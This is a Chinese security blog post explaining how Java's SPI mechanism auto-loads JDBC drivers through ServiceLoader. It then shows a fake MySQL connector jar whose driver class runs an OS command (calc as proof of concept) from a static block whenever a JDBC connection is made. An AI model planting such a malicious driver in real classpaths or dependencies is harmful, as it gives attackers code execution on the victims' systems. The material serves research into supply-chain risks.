0%

SPI机制的安全问题

SPI机制的安全问题

什么是SPI?

Service Provider Interface,是JDK内置的⼀种服务提供发现机制,可以⽤来启动框架扩 展和替换组建。服务提供接⼝,不同⼚商可以针对同⼀个接⼝做出不同的实现。 当服务提供者提供了⼀种接⼝的实现之后,需要在classpath下的 META-INF/services/ ⽬录 下创建⼀个以服务接⼝命名的⽂件,⽂件内容就是这个接⼝的具体实现类。 当程序需要这个服务时,就可以通过查找这个jar包的 META-INF/services/ 中的配置⽂件, 配置⽂件中有接⼝的具体实现类名,可以根据这个类名进⾏加载实例化。

Mysql JDBC示例

1
2
3
4
5
6
public class javaclient {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?useSSL=false&allowLoadLocalInfile=true&maxAllowedPacket=65535";
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
}
}

因为SPI机制的缘故,我们并不用编写实现类com.mysql.jdbc.Driver(CLASS_NAME)

省略掉了Class.forName(CLASS_NAME);

工作原理

JDBC连接分为两步

  • 注册JDBC驱动类
1
Class.forName(CLASS_NAME);

由于动态类加载,该段代码会触发驱动类的静态代码块

img

调用register方法

img

DriverManager.registerDriver(registeredDriver);相当于就注册了一个驱动类

  • 获取链接
1
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

为什么可以省略DriverManager.registerDriver呢?因为在当DriverManager类被访问或引用时,Java虚拟机会加载该类。而加载该类便会触发其static代码块

img

调用loadInitialDrivers()方法,创建了一个匿名内部类实现了PrivilegedAction<Void>接口,并重写了其中的run()方法。代码运行到此时也会运行run方法。

img

调用了ServiceLoader.load(Driver.class);

img

ClassLoader cl = Thread.currentThread().getContextClassLoader();获取当前线程的上下文类加载器,然后调用另一个load重载方法

img

返回一个ServiceLoader对象

img

对象封装了类加载器等信息,回到loadInitialDrivers()方法

img

调用ServiceLoader的hasNext()方法

img

继续调用knownProviders的hasNext()方法

img

返回一个false,继续调用lookupIterator.hasNext()

img

继续调用hasNextService()方法

img

可以看到fullName就是相应的实现类

最后会调⽤getResources⽅法,AppClassLoader类加载器的getResources⽅法主要⽤于 在类路径下查找指定名称的资源,并返回⼀个URL枚举对象 最后调⽤parse⽅法

img

configs.nextElement() 即返回资源路径,那么最后返回一个true,调用driversIterator.next(),然后进入LazyIterator的next方法

img

调用nextService()方法

img

动态加载驱动类,调用其静态代码块,也就注册一个驱动类

这就是SPI机制。

实现JDBC Driver后门

img

spi机制会遍历路径下的所有实现类

如果在classpath下能存在⼀个恶意的驱动,我们就能加载恶意类,这个类的静态代码块 写有⼀些恶意⽅法,那么我们就能实现危险攻击 制作⼀个fake-mysql-connector.jar ⽬录结构

其中SQLDriver需要java.sql.Driver接⼝,还需要实现接⼝⽅法

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package com.mysql.fake.jdbc;
import java.sql.Connection;
import java.sql.DriverPropertyInfo;
import java.util.Properties;
import java.util.logging.Logger;
public class SQLDriver implements java.sql.Driver{
protected static boolean DEBUG = false;
protected static final String WindowsCmd = "calc";
protected static final String LinuxCmd = "open -a calculator";
protected static String shell;
protected static String args;
protected static String cmd;
static{
if( System.getProperty("os.name").toLowerCase().contains("windows") ){
shell = "cmd.exe";
args = "/c";
cmd = WindowsCmd;
} else {
shell = "/bin/sh";
args = "-c";
cmd = LinuxCmd;
}
try{
Runtime.getRuntime().exec(new String[] {shell, args, cmd});
} catch(Exception ignored) {
}
}
// JDBC methods below
public boolean acceptsURL(String url){
if(DEBUG){
Logger.getGlobal().info("acceptsURL() called: "+url);
}
return false;
}
public Connection connect(String url, Properties info){
if(DEBUG){
Logger.getGlobal().info("connect() called: "+url);
}
return null;
}
public int getMajorVersion(){
if(DEBUG){
Logger.getGlobal().info("getMajorVersion() called");
}
return 1;
}

public int getMinorVersion(){
if(DEBUG){
Logger.getGlobal().info("getMajorVersion() called");
}
return 0;
}
public Logger getParentLogger(){
if(DEBUG){
Logger.getGlobal().info("getParentLogger() called");
}
return null;
}
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){
if(DEBUG){
Logger.getGlobal().info("getPropertyInfo() called: "+url);
}
return new DriverPropertyInfo[0];
}
public boolean jdbcCompliant(){
if(DEBUG){
Logger.getGlobal().info("jdbcCompliant() called");
}
return true;
}
}

将项⽬打包成⼀个jar包,然后将我们做的这个jar包加进classpath中,发起⼀起JDBC连接,就会触发SQLDriver的 静态代码块,造成RCE